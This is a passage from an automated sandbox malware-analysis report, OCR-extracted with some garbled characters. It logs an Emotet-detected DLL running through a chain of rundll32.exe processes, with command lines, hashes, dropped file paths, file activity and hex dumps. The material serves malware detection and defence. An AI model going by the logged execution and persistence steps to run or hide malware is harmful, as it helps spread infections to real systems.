69 76 3e 3c 21 2d 2d
20 2f23 63 66 2d 77
7261 7070657220
2d 2d 3e 0a Oa 20 20
3c 736372697074
2074 79 70 65 3d 22
74 65 78 74 2f 6a 61
76 61 73 63 72 69 70
74 22 3e 0a 20 20 77
69 6e 64 6f 77 2e 5f
63 66 5f 74 72 61 6e
73 6¢ 61 74 69 6f 6
203d 20 7b 7d 3b Oa
20 20 0a 20 20 Oa 3c
2f 7363726970 74
3e 0Oa Oa 3c 2f 62 6f
64 79 3e Oa 3c 2f 68
74 6d 6¢ 3e Oa

Ascii

<IDOCTYPE html>. [if It

IE 7]> <html class="no-js

ie6 oldie" lang="en-US">

<l[endif]-->. [if IE 7]>
<html class="no-js ie7
oldie" lang="en-US"> <!
[endif]-->. [if IE8]> <h

tml class="no-js ie8 oldie

lang="en-US"> <![endif]--

>. [if gtIE

Completion

success or wait

an>. . </p>.</div> /.err success or wait
or-footer -->... </div> /

#cf-error-details -->.

</div> [#cf-wrapper -->.

<script type="te
xt/javascr<wbr>ipt">.

window._cf_translation =

{i. . .<Iscr<wbr>ipt>..
</body>.</html>.

Source

Count Address Symbol

23

8

7FEE87FBEC7 WriteFile

7FEE87FBEC7 WriteFile
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File Path Offset Length

C:\Users\user\E8j9w_I\Ys1wun5\I145Q.dll unknown 11750

File Read

File Path

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml

Copyright null 2021

Value

10 50 ff 15 c4 61 00
10 8b 0d 30 60 00 10
51 ff 15 ¢4 61 00 10
e9 6b fe ff ff e8 11 fd
ff ff c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00

Ascii
P.a..0.0Q.a.k....
LEXLLEFLLEXLEX..
E*..E*..E*..E*. E.
*LEXLLEXLEX..EX
LEXLEXLLEXLLEXL
E*. . E*. . .E*.E*..E
XL EX L EX.E*. E*
WEXLLEXLEXLEX
LEXLLEXL

Offset Length
unknown 4095
unknown 6304
unknown 4095
unknown 4096
unknown 781
unknown 4096
unknown 4096
unknown 4096
unknown 4096
unknown 542
unknown 4096
unknown 4096
unknown 78
unknown 4096
unknown 4096
unknown 310
unknown 4096
unknown 4096
unknown 50
unknown 4096
unknown 4096
unknown 4096
unknown 4096
unknown 201
unknown 4096
unknown 4096
unknown 409
unknown 4096
unknown 4096
unknown 844
unknown 4096
unknown 4096

Completion

success or wait

Completion
success or wait
success or wait
success or wait
success or wait
end of file

end of file
success or wait
end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file

success or wait

Source

Count Address

21

Count
1
3
1
4
1
1

42

P PN R R O R R N R

e
©

Symbol

7FEE87FBEC7 WriteFile

Source
Address

7FEE8665208

7FEE8665208

7FEE878A287

7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7
7FEE87FBEC7

Symbol

unknown
unknown
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE87FBEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE87FBEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE87569DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE87569DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE87FBEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE87FBEC7 ReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2840 Parent PID: 2532
General
Start time: 15:12:47
Start date: 25/01/2021
Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\E8j9w_I\Ys1wun5\I45Q.dIl AnyString

0xff060000

45568 bytes
DD81D91FF3B0763C392422865C9AC12E
true

true

C, C++ or other language

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\E8j9w_I\Ys1wun5\145Q.dll unknown 64 success or wait 1 FF0627D0 ReadFile
C:\Users\user\E8j9w_I\Ys1wun5\145Q.dll unknown 264 success or wait 1 FF06281C ReadFile
Analysis Process: rundll32.exe PID: 2724 Parent PID: 2840
General
Start time: 15:12:47
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Copyright null 2021

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\E8j9w_I\Ys1wun5\I45Q.dIl AnyString

0x6d0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true
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Programmed in:

Yara matches:

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2112943654.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2114445645.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2112980293.0000000000240000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2876 Parent PID: 2724
General
Start time: 15:12:52
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\E8j9w_I\Ys1wun5\145Q.dII' #1
0x6d0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2123406167.00000000003D0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2123369788.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2124920269.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2944 Parent PID: 2876
General
Start time: 15:12:57
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qcpfo\eqvz.qgk’,RYcPJUbXC
0x6d0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2133438131.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2135385218.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2133449871.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 912 Parent PID: 2944
General
Start time: 15:13:02
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qcpfo\eqvz.qgk',#1
0x6d0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2144056459.0000000000270000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2144115821.0000000000390000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2151069686.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2436 Parent PID: 912
General
Start time: 15:13:07
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\HovpjjuyIntjnighgisilgspc
.cpw',sVHRJpl

0x6d0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2156774856.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2157443632.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2156802642.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2872 Parent PID: 2436
General
Start time: 15:13:13
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\HovpjjuyIntjnighgisilgspc
.cpw' #1

0x6d0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2167322545.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2167309478.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2169724997.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 3052 Parent PID: 2872
General
Start time: 15:13:18
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pgxnxhrbagdgbg\ozuzyrizmlv
s0.ghb', ZtLfkSoswLf

0x6d0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

Page 57 of 58



Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2179624765.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2177763484.0000000000240000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2177809996.0000000000260000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 3020 Parent PID: 3052

General

Start time: 15:13:22

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pgxnxhrbagdgbg\ozuzyrizmlv

so.ghb'#1

Imagebase: 0x6d0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2344156985.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2342452606.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000E.00000002.2342467769.0000000000210000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Disassembly

Code Analysis
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